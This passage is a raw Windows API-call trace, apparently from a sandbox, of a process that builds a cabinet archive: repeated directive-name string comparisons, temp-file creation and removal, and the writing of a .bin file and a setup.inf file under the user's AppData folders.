_strcmpi (_Str1="MaxCabinetSize", _Str2="InfFileLineFormat1") returned 4 [0102.376] _strcmpi (_Str1="MaxDiskFileCount", _Str2="InfFileLineFormat1") returned 4 [0102.376] _strcmpi (_Str1="MaxDiskSize", _Str2="InfFileLineFormat1") returned 4 [0102.376] _strcmpi (_Str1="MaxErrors", _Str2="InfFileLineFormat1") returned 4 [0102.376] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="InfFileLineFormat1") returned 9 [0102.376] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="InfFileLineFormat1") returned 9 [0102.377] _strcmpi (_Str1="ReservePerFolderSize", _Str2="InfFileLineFormat1") returned 9 [0102.377] _strcmpi (_Str1="RptFileName", _Str2="InfFileLineFormat1") returned 9 [0102.377] _strcmpi (_Str1="SourceDir", _Str2="InfFileLineFormat1") returned 10 [0102.377] _strcmpi (_Str1="UniqueFiles", _Str2="InfFileLineFormat1") returned 12 [0102.377] _strcmpi (_Str1="DiskDirectory1", _Str2="InfFileLineFormat1") returned -5 [0102.377] _strcmpi (_Str1="CabinetName1", _Str2="InfFileLineFormat1") returned -6 [0102.377] _vsnprintf (in: _DstBuf=0x1feb30, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fea88 | out: _DstBuf="InfFileLineFormat1") returned 18 [0102.377] _vsnprintf (in: _DstBuf=0x1fe9c0, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fe918 | out: _DstBuf="Infdisk#") returned 8 [0102.377] _vsnprintf (in: _DstBuf=0x32be58, _MaxCount=0x1ff, _Format="%d", _ArgList=0x1fef48 | out: _DstBuf="1") returned 1 [0102.377] _strcmpi (_Str1="Cabinet", _Str2="Infcab#") returned -6 [0102.377] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="Infcab#") returned -6 [0102.377] _strcmpi (_Str1="CabinetNameTemplate", _Str2="Infcab#") returned -6 [0102.377] _strcmpi (_Str1="ChecksumWidth", _Str2="Infcab#") returned -6 [0102.377] _strcmpi (_Str1="ClusterSize", _Str2="Infcab#") returned -6 [0102.377] _strcmpi (_Str1="Compress", _Str2="Infcab#") returned -6 [0102.377] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="Infcab#") returned -6 [0102.377] _strcmpi (_Str1="CompressionType", _Str2="Infcab#") returned -6 [0102.377] _strcmpi (_Str1="CompressionLevel", _Str2="Infcab#") returned -6 [0102.377] _strcmpi (_Str1="CompressionMemory", _Str2="Infcab#") returned -6 [0102.377] _strcmpi (_Str1="DestinationDir", _Str2="Infcab#") returned -5 [0102.377] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="Infcab#") returned -5 [0102.377] _strcmpi (_Str1="DiskLabelTemplate", _Str2="Infcab#") returned -5 [0102.377] _strcmpi (_Str1="DoNotCopyFiles", _Str2="Infcab#") returned -5 [0102.377] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="Infcab#") returned -3 [0102.377] _strcmpi (_Str1="FolderSizeThreshold", _Str2="Infcab#") returned -3 [0102.377] _strcmpi (_Str1="GenerateInf", _Str2="Infcab#") returned -2 [0102.377] _strcmpi (_Str1="InfCabinetHeader", _Str2="Infcab#") returned 70 [0102.377] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="Infcab#") returned 70 [0102.377] _strcmpi (_Str1="InfCommentString", _Str2="Infcab#") returned 14 [0102.377] _strcmpi (_Str1="InfDateFormat", _Str2="Infcab#") returned 1 [0102.377] _strcmpi (_Str1="InfDiskHeader", _Str2="Infcab#") returned 1 [0102.377] _strcmpi (_Str1="InfDiskLineFormat", _Str2="Infcab#") returned 1 [0102.377] _strcmpi (_Str1="InfFileHeader", _Str2="Infcab#") returned 3 [0102.378] _strcmpi (_Str1="InfFileLineFormat", _Str2="Infcab#") returned 3 [0102.378] _strcmpi (_Str1="InfFileName", _Str2="Infcab#") returned 3 [0102.378] _strcmpi (_Str1="InfFooter", _Str2="Infcab#") returned 3 [0102.378] _strcmpi (_Str1="InfFooter1", _Str2="Infcab#") returned 3 [0102.378] _strcmpi (_Str1="InfFooter2", _Str2="Infcab#") returned 3 [0102.378] _strcmpi (_Str1="InfFooter3", _Str2="Infcab#") returned 3 [0102.378] _strcmpi (_Str1="InfFooter4", _Str2="Infcab#") returned 3 [0102.378] _strcmpi (_Str1="InfHeader", _Str2="Infcab#") returned 5 [0102.378] _strcmpi (_Str1="InfHeader1", _Str2="Infcab#") returned 5 [0102.378] _strcmpi (_Str1="InfHeader2", _Str2="Infcab#") returned 5 [0102.378] _strcmpi (_Str1="InfHeader3", _Str2="Infcab#") returned 5 [0102.378] _strcmpi (_Str1="InfHeader4", _Str2="Infcab#") returned 5 [0102.378] _strcmpi (_Str1="InfHeader5", _Str2="Infcab#") returned 5 [0102.378] _strcmpi (_Str1="InfHeader6", _Str2="Infcab#") returned 5 [0102.378] _strcmpi (_Str1="InfSectionOrder", _Str2="Infcab#") returned 16 [0102.378] _strcmpi (_Str1="MaxCabinetSize", _Str2="Infcab#") returned 4 [0102.378] _strcmpi (_Str1="MaxDiskFileCount", _Str2="Infcab#") returned 4 [0102.378] _strcmpi (_Str1="MaxDiskSize", _Str2="Infcab#") returned 4 [0102.378] _strcmpi (_Str1="MaxErrors", _Str2="Infcab#") returned 4 [0102.378] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="Infcab#") returned 9 [0102.378] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="Infcab#") returned 9 [0102.378] _strcmpi (_Str1="ReservePerFolderSize", _Str2="Infcab#") returned 9 [0102.378] _strcmpi (_Str1="RptFileName", _Str2="Infcab#") returned 9 [0102.378] _strcmpi (_Str1="SourceDir", _Str2="Infcab#") returned 10 [0102.378] _strcmpi (_Str1="UniqueFiles", _Str2="Infcab#") returned 12 [0102.378] _strcmpi (_Str1="DiskDirectory1", _Str2="Infcab#") returned -5 [0102.378] _strcmpi (_Str1="CabinetName1", _Str2="Infcab#") returned -6 [0102.378] _vsnprintf (in: _DstBuf=0x1fe9c0, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fe918 | out: _DstBuf="Infcab#") returned 7 [0102.378] _vsnprintf (in: _DstBuf=0x32be5a, _MaxCount=0x1fd, _Format="%d", _ArgList=0x1fef48 | out: _DstBuf="1") returned 1 [0102.378] _strcmpi (_Str1="Cabinet", _Str2="Inffile") returned -6 [0102.378] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="Inffile") returned -6 [0102.378] _strcmpi (_Str1="CabinetNameTemplate", _Str2="Inffile") returned -6 [0102.378] _strcmpi (_Str1="ChecksumWidth", _Str2="Inffile") returned -6 [0102.378] _strcmpi (_Str1="ClusterSize", _Str2="Inffile") returned -6 [0102.378] _strcmpi (_Str1="Compress", _Str2="Inffile") returned -6 [0102.378] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="Inffile") returned -6 [0102.378] _strcmpi (_Str1="CompressionType", _Str2="Inffile") returned -6 [0102.379] _strcmpi (_Str1="CompressionLevel", _Str2="Inffile") returned -6 [0102.379] _strcmpi (_Str1="CompressionMemory", _Str2="Inffile") returned -6 [0102.379] _strcmpi (_Str1="DestinationDir", _Str2="Inffile") returned -5 [0102.379] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="Inffile") returned -5 [0102.379] _strcmpi (_Str1="DiskLabelTemplate", _Str2="Inffile") returned -5 [0102.379] _strcmpi (_Str1="DoNotCopyFiles", _Str2="Inffile") returned -5 [0102.379] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="Inffile") returned -3 [0102.379] _strcmpi (_Str1="FolderSizeThreshold", _Str2="Inffile") returned -3 [0102.379] _strcmpi (_Str1="GenerateInf", _Str2="Inffile") returned -2 [0102.379] _strcmpi (_Str1="InfCabinetHeader", _Str2="Inffile") returned -3 [0102.379] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="Inffile") returned -3 [0102.379] _strcmpi (_Str1="InfCommentString", _Str2="Inffile") returned -3 [0102.379] _strcmpi (_Str1="InfDateFormat", _Str2="Inffile") returned -2 [0102.379] _strcmpi (_Str1="InfDiskHeader", _Str2="Inffile") returned -2 [0102.379] _strcmpi (_Str1="InfDiskLineFormat", _Str2="Inffile") returned -2 [0102.379] _strcmpi (_Str1="InfFileHeader", _Str2="Inffile") returned 104 [0102.379] _strcmpi (_Str1="InfFileLineFormat", _Str2="Inffile") returned 108 [0102.379] _strcmpi (_Str1="InfFileName", _Str2="Inffile") returned 110 [0102.379] _strcmpi (_Str1="InfFooter", _Str2="Inffile") returned 6 [0102.379] _strcmpi (_Str1="InfFooter1", _Str2="Inffile") returned 6 [0102.379] _strcmpi (_Str1="InfFooter2", _Str2="Inffile") returned 6 [0102.379] _strcmpi (_Str1="InfFooter3", _Str2="Inffile") returned 6 [0102.379] _strcmpi (_Str1="InfFooter4", _Str2="Inffile") returned 6 [0102.379] _strcmpi (_Str1="InfHeader", _Str2="Inffile") returned 2 [0102.379] _strcmpi (_Str1="InfHeader1", _Str2="Inffile") returned 2 [0102.379] _strcmpi (_Str1="InfHeader2", _Str2="Inffile") returned 2 [0102.379] _strcmpi (_Str1="InfHeader3", _Str2="Inffile") returned 2 [0102.379] _strcmpi (_Str1="InfHeader4", _Str2="Inffile") returned 2 [0102.379] _strcmpi (_Str1="InfHeader5", _Str2="Inffile") returned 2 [0102.379] _strcmpi (_Str1="InfHeader6", _Str2="Inffile") returned 2 [0102.379] _strcmpi (_Str1="InfSectionOrder", _Str2="Inffile") returned 13 [0102.379] _strcmpi (_Str1="MaxCabinetSize", _Str2="Inffile") returned 4 [0102.379] _strcmpi (_Str1="MaxDiskFileCount", _Str2="Inffile") returned 4 [0102.379] _strcmpi (_Str1="MaxDiskSize", _Str2="Inffile") returned 4 [0102.379] _strcmpi (_Str1="MaxErrors", _Str2="Inffile") returned 4 [0102.379] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="Inffile") returned 9 [0102.379] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="Inffile") returned 9 [0102.379] _strcmpi (_Str1="ReservePerFolderSize", _Str2="Inffile") returned 9 [0102.379] _strcmpi (_Str1="RptFileName", _Str2="Inffile") returned 9 [0102.379] _strcmpi (_Str1="SourceDir", _Str2="Inffile") returned 10 [0102.379] _strcmpi (_Str1="UniqueFiles", _Str2="Inffile") returned 12 [0102.380] _strcmpi (_Str1="DiskDirectory1", _Str2="Inffile") returned -5 [0102.380] _strcmpi (_Str1="CabinetName1", _Str2="Inffile") returned -6 [0102.380] _vsnprintf (in: _DstBuf=0x1fe9c0, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fe918 | out: _DstBuf="Inffile") returned 7 [0102.380] _vsnprintf (in: _DstBuf=0x1fe9c0, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fe918 | out: _DstBuf="Infsize") returned 7 [0102.380] _vsnprintf (in: _DstBuf=0x32be6f, _MaxCount=0x1e8, _Format="%ld", _ArgList=0x1fef48 | out: _DstBuf="98") returned 2 [0102.380] fprintf (in: _File=0x7fefd702b70, _Format="%s\n" | out: _File=0x7fefd702b70) returned 26 [0102.380] _write (in: _FileHandle=10, _Buf=0x20f9b4*, _MaxCharCount=0x10 | out: _Buf=0x20f9b4*) returned 16 [0102.380] _write (in: _FileHandle=10, _Buf=0x20fada*, _MaxCharCount=0x13 | out: _Buf=0x20fada*) returned 19 [0102.381] _read (in: _FileHandle=8, _DstBuf=0x20f9b4, _MaxCharCount=0x10 | out: _DstBuf=0x20f9b4) returned 0 [0102.381] _errno () returned 0x324bb0 [0102.381] _close (_FileHandle=7) returned 0 [0102.381] remove (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_5") returned 0 [0102.382] _close (_FileHandle=8) returned 0 [0102.383] remove (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_6") returned 0 [0102.384] free (_Block=0x327170) [0102.384] free (_Block=0x3270a0) [0102.384] free (_Block=0x327090) [0102.384] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\2855.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50 [0102.384] GetLastError () returned 0x0 [0102.384] _open_osfhandle (_OSFileHandle=0x50, _Flags=33666) returned 7 [0102.384] malloc (_Size=0x8) returned 0x327090 [0102.384] _write (in: _FileHandle=7, _Buf=0x20f990*, _MaxCharCount=0x24 | out: _Buf=0x20f990*) returned 36 [0102.385] _lseek (_FileHandle=11, _Offset=0, _Origin=0) returned 0 [0102.385] _read (in: _FileHandle=11, _DstBuf=0x327090, _MaxCharCount=0x8 | out: _DstBuf=0x327090*) returned 8 [0102.385] _write (in: _FileHandle=7, _Buf=0x327090*, _MaxCharCount=0x8 | out: _Buf=0x327090*) returned 8 [0102.385] _read (in: _FileHandle=11, _DstBuf=0x327090, _MaxCharCount=0x8 | out: _DstBuf=0x327090) returned 0 [0102.385] _errno () returned 0x324bb0 [0102.385] malloc (_Size=0x8000) returned 0x263350 [0102.385] _lseek (_FileHandle=10, _Offset=0, _Origin=0) returned 0 [0102.385] _read (in: _FileHandle=10, _DstBuf=0x263350, _MaxCharCount=0x8000 | out: _DstBuf=0x263350*) returned 35 [0102.386] _errno () returned 0x324bb0 [0102.386] _write (in: _FileHandle=7, _Buf=0x263350*, _MaxCharCount=0x23 | out: _Buf=0x263350*) returned 35 [0102.386] _vsnprintf (in: _DstBuf=0x1ff000, _MaxCount=0x1ff, _Format="%6.2f", _ArgList=0x1fef58 | out: _DstBuf=" 29.41") returned 6 [0102.386] printf (_Format="%s%s\r") returned 34 [0102.396] _read (in: _FileHandle=10, _DstBuf=0x263350, _MaxCharCount=0x8000 | out: _DstBuf=0x263350) returned 0 [0102.396] _errno () returned 0x324bb0 [0102.396] free (_Block=0x263350) [0102.396] malloc (_Size=0x8000) returned 0x263350 [0102.396] _lseek (_FileHandle=9, _Offset=0, _Origin=0) returned 0 [0102.396] _read (in: _FileHandle=9, _DstBuf=0x263350, _MaxCharCount=0x8000 | out: _DstBuf=0x263350*) returned 84 [0102.396] _errno () returned 0x324bb0 [0102.397] _write (in: _FileHandle=7, _Buf=0x263350*, _MaxCharCount=0x54 | out: _Buf=0x263350*) returned 84 [0102.397] _vsnprintf (in: _DstBuf=0x1ff000, _MaxCount=0x1ff, _Format="%6.2f", _ArgList=0x1fef58 | out: _DstBuf="100.00") returned 6 [0102.397] printf (_Format="%s%s\r") returned 34 [0102.407] _read (in: _FileHandle=9, _DstBuf=0x263350, _MaxCharCount=0x8000 | out: _DstBuf=0x263350) returned 0 [0102.407] _errno () returned 0x324bb0 [0102.407] free (_Block=0x263350) [0102.407] _lseek (_FileHandle=7, _Offset=0, _Origin=2) returned 163 [0102.407] _lseek (_FileHandle=7, _Offset=0, _Origin=0) returned 0 [0102.407] _write (in: _FileHandle=7, _Buf=0x20f990*, _MaxCharCount=0x4 | out: _Buf=0x20f990*) returned 4 [0102.408] _close (_FileHandle=7) returned 0 [0102.408] _close (_FileHandle=9) returned 0 [0102.408] remove (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_7") returned 0 [0102.409] _close (_FileHandle=10) returned 0 [0102.409] remove (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_8") returned 0 [0102.410] _close (_FileHandle=11) returned 0 [0102.411] remove (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_9") returned 0 [0102.412] GetCurrentProcessId () returned 0xa04 [0102.412] _vsnprintf (in: _DstBuf=0x1ff273, _MaxCount=0xa, _Format="_%u_", _ArgList=0x1ff268 | out: _DstBuf="_2564_") returned 6 [0102.412] _tempnam (_Directory="", _FilePrefix="cab_2564_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_12" [0102.412] free (_Block=0x32af30) [0102.412] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_12" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\cab_2564_12"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c [0102.412] GetLastError () returned 0x0 [0102.412] _open_osfhandle (_OSFileHandle=0x5c, _Flags=34178) returned 7 [0102.412] GetCurrentProcessId () returned 0xa04 [0102.412] _vsnprintf (in: _DstBuf=0x1ff273, _MaxCount=0xa, _Format="_%u_", _ArgList=0x1ff268 | out: _DstBuf="_2564_") returned 6 [0102.412] _tempnam (_Directory="", _FilePrefix="cab_2564_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_13" [0102.412] free (_Block=0x32af30) [0102.412] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_13" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\cab_2564_13"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x58 [0102.413] GetLastError () returned 0x0 [0102.413] _open_osfhandle (_OSFileHandle=0x58, _Flags=34178) returned 8 [0102.413] GetCurrentProcessId () returned 0xa04 [0102.413] _vsnprintf (in: _DstBuf=0x1ff273, _MaxCount=0xa, _Format="_%u_", _ArgList=0x1ff268 | out: _DstBuf="_2564_") returned 6 [0102.413] _tempnam (_Directory="", _FilePrefix="cab_2564_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_14" [0102.413] free (_Block=0x32af30) [0102.413] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_14" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\cab_2564_14"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x54 [0102.413] GetLastError () returned 0x0 [0102.413] _open_osfhandle (_OSFileHandle=0x54, _Flags=34178) returned 9 [0102.413] free (_Block=0x327090) [0102.413] free (_Block=0x2131b0) [0102.414] free (_Block=0x21b1c0) [0102.414] free (_Block=0x2231d0) [0102.414] free (_Block=0x2331e0) [0102.414] free (_Block=0x2431f0) [0102.414] free (_Block=0x2101f0) [0102.414] free (_Block=0x329290) [0102.414] free (_Block=0x253320) [0102.414] free (_Block=0x25b340) [0102.414] _close (_FileHandle=6) returned 0 [0102.414] remove (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_10") returned 0 [0102.415] _close (_FileHandle=12) returned 0 [0102.415] remove (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_11") returned 0 [0102.415] free (_Block=0x328fd0) [0102.415] _close (_FileHandle=7) returned 0 [0102.415] remove (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_12") returned 0 [0102.415] _close (_FileHandle=8) returned 0 [0102.416] remove (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_13") returned 0 [0102.416] _close (_FileHandle=9) returned 0 [0102.416] remove (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_14") returned 0 [0102.416] free (_Block=0x20efb0) [0102.416] free (_Block=0x32d450) [0102.416] clock () returned 0x32c [0102.417] time (in: timer=0x1ff560 | out: timer=0x1ff560) returned 0x5cfd206d [0102.417] _strcmpi (_Str1="Cabinet", _Str2="InfFileName") returned -6 [0102.417] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFileName") returned -6 [0102.417] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFileName") returned -6 [0102.417] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFileName") returned -6 [0102.417] _strcmpi (_Str1="ClusterSize", _Str2="InfFileName") returned -6 [0102.417] _strcmpi (_Str1="Compress", _Str2="InfFileName") returned -6 [0102.417] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFileName") returned -6 [0102.417] _strcmpi (_Str1="CompressionType", _Str2="InfFileName") returned -6 [0102.417] _strcmpi (_Str1="CompressionLevel", _Str2="InfFileName") returned -6 [0102.417] _strcmpi (_Str1="CompressionMemory", _Str2="InfFileName") returned -6 [0102.417] _strcmpi (_Str1="DestinationDir", _Str2="InfFileName") returned -5 [0102.417] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFileName") returned -5 [0102.417] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFileName") returned -5 [0102.417] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFileName") returned -5 [0102.417] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFileName") returned -3 [0102.417] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFileName") returned -3 [0102.417] _strcmpi (_Str1="GenerateInf", _Str2="InfFileName") returned -2 [0102.417] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFileName") returned -3 [0102.417] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFileName") returned -3 [0102.417] _strcmpi (_Str1="InfCommentString", _Str2="InfFileName") returned -3 [0102.417] _strcmpi (_Str1="InfDateFormat", _Str2="InfFileName") returned -2 [0102.417] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFileName") returned -2 [0102.417] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFileName") returned -2 [0102.417] _strcmpi (_Str1="InfFileHeader", _Str2="InfFileName") returned -6 [0102.417] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfFileName") returned -2 [0102.417] _strcmpi (_Str1="InfFileName", _Str2="InfFileName") returned 0 [0102.417] fclose (in: _File=0x7fefd702b10 | out: _File=0x7fefd702b10) returned 0 [0102.418] fclose (in: _File=0x7fefd702b40 | out: _File=0x7fefd702b40) returned 0 [0102.420] fclose (in: _File=0x7fefd702b70 | out: _File=0x7fefd702b70) returned 0 [0102.421] fopen (_Filename="setup.inf" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\micros~1\\{f5fb2~1\\setup.inf"), _Mode="wb") returned 0x7fefd702b10 [0102.421] _strcmpi (_Str1="Cabinet", _Str2="InfCommentString") returned -6 [0102.421] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfCommentString") returned -6 [0102.421] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfCommentString") returned -6 [0102.421] _strcmpi (_Str1="ChecksumWidth", _Str2="InfCommentString") returned -6 [0102.421] _strcmpi (_Str1="ClusterSize", _Str2="InfCommentString") returned -6 [0102.421] _strcmpi (_Str1="Compress", _Str2="InfCommentString") returned -6 [0102.421] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfCommentString") returned -6 [0102.421] _strcmpi (_Str1="CompressionType", _Str2="InfCommentString") returned -6 [0102.421] _strcmpi (_Str1="CompressionLevel", _Str2="InfCommentString") returned -6 [0102.421] _strcmpi (_Str1="CompressionMemory", _Str2="InfCommentString") returned -6 [0102.421] _strcmpi (_Str1="DestinationDir", _Str2="InfCommentString") returned -5 [0102.422] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfCommentString") returned -5 [0102.422] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfCommentString") returned -5 [0102.422] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfCommentString") returned -5 [0102.422] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfCommentString") returned -3 [0102.422] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfCommentString") returned -3 [0102.422] _strcmpi (_Str1="GenerateInf", _Str2="InfCommentString") returned -2 [0102.422] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfCommentString") returned -14 [0102.422] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfCommentString") returned -14 [0102.422] _strcmpi (_Str1="InfCommentString", _Str2="InfCommentString") returned 0 [0102.422] ctime (param_1=0x1ff560) returned="Sun Jun 09 15:06:21 2019\n" [0102.422] _strcmpi (_Str1="Cabinet", _Str2="InfHeader") returned -6 [0102.422] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfHeader") returned -6 [0102.423] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfHeader") returned -6 [0102.423] _strcmpi (_Str1="ChecksumWidth", _Str2="InfHeader") returned -6 [0102.423] _strcmpi (_Str1="ClusterSize", _Str2="InfHeader") returned -6 [0102.423] _strcmpi (_Str1="Compress", _Str2="InfHeader") returned -6 [0102.423] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfHeader") returned -6 [0102.423] _strcmpi (_Str1="CompressionType", _Str2="InfHeader") returned -6 [0102.423] _strcmpi (_Str1="CompressionLevel", _Str2="InfHeader") returned -6 [0102.423] _strcmpi (_Str1="CompressionMemory", _Str2="InfHeader") returned -6 [0102.423] _strcmpi (_Str1="DestinationDir", _Str2="InfHeader") returned -5 [0102.423] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfHeader") returned -5 [0102.423] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfHeader") returned -5 [0102.423] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfHeader") returned -5 [0102.423] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfHeader") returned -3 [0102.423] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfHeader") returned -3 [0102.423] _strcmpi (_Str1="GenerateInf", _Str2="InfHeader") returned -2 [0102.423] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfHeader") returned -5 [0102.423] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfHeader") returned -5 [0102.423] _strcmpi (_Str1="InfCommentString", _Str2="InfHeader") returned -5 [0102.423] _strcmpi (_Str1="InfDateFormat", _Str2="InfHeader") returned -4 [0102.423] _strcmpi (_Str1="InfDiskHeader", _Str2="InfHeader") returned -4 [0102.423] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfHeader") returned -4 [0102.423] _strcmpi (_Str1="InfFileHeader", _Str2="InfHeader") returned -2 [0102.423] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfHeader") returned -2 [0102.423] _strcmpi (_Str1="InfFileName", _Str2="InfHeader") returned -2 [0102.423] _strcmpi (_Str1="InfFooter", _Str2="InfHeader") returned -2 [0102.423] _strcmpi (_Str1="InfFooter1", _Str2="InfHeader") returned -2 [0102.423] _strcmpi (_Str1="InfFooter2", _Str2="InfHeader") returned -2 [0102.423] _strcmpi (_Str1="InfFooter3", _Str2="InfHeader") returned -2 [0102.423] _strcmpi (_Str1="InfFooter4", _Str2="InfHeader") returned -2 [0102.423] _strcmpi (_Str1="InfHeader", _Str2="InfHeader") returned 0 [0102.423] _vsnprintf (in: _DstBuf=0x1ff070, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fefc8 | out: _DstBuf=";") returned 1 [0102.423] fprintf (in: _File=0x7fefd702b10, _Format="%s\r\n" | out: _File=0x7fefd702b10) returned 71 [0102.423] _vsnprintf (in: _DstBuf=0x1ff360, _MaxCount=0x1f, _Format="InfHeader%d", _ArgList=0x1ff1b8 | out: _DstBuf="InfHeader1") returned 10 [0102.423] _strcmpi (_Str1="Cabinet", _Str2="InfHeader1") returned -6 [0102.423] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfHeader1") returned -6 [0102.423] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfHeader1") returned -6 [0102.424] _strcmpi (_Str1="ChecksumWidth", _Str2="InfHeader1") returned -6 [0102.424] _strcmpi (_Str1="ClusterSize", _Str2="InfHeader1") returned -6 [0102.424] _strcmpi (_Str1="Compress", _Str2="InfHeader1") returned -6 [0102.424] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfHeader1") returned -6 [0102.424] _strcmpi (_Str1="CompressionType", _Str2="InfHeader1") returned -6 [0102.424] _strcmpi (_Str1="CompressionLevel", _Str2="InfHeader1") returned -6 [0102.424] _strcmpi (_Str1="CompressionMemory", _Str2="InfHeader1") returned -6 [0102.424] _strcmpi (_Str1="DestinationDir", _Str2="InfHeader1") returned -5 [0102.424] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfHeader1") returned -5 [0102.424] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfHeader1") returned -5 [0102.424] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfHeader1") returned -5 [0102.424] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfHeader1") returned -3 [0102.424] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfHeader1") returned -3 [0102.424] _strcmpi (_Str1="GenerateInf", _Str2="InfHeader1") returned -2 [0102.424] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfHeader1") returned -5 [0102.424] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfHeader1") returned -5 [0102.424] _strcmpi (_Str1="InfCommentString", _Str2="InfHeader1") returned -5 [0102.424] _strcmpi (_Str1="InfDateFormat", _Str2="InfHeader1") returned -4 [0102.424] _strcmpi (_Str1="InfDiskHeader", _Str2="InfHeader1") returned -4 [0102.424] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfHeader1") returned -4 [0102.424] _strcmpi (_Str1="InfFileHeader", _Str2="InfHeader1") returned -2 [0102.424] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfHeader1") returned -2 [0102.424] _strcmpi (_Str1="InfFileName", _Str2="InfHeader1") returned -2 [0102.424] 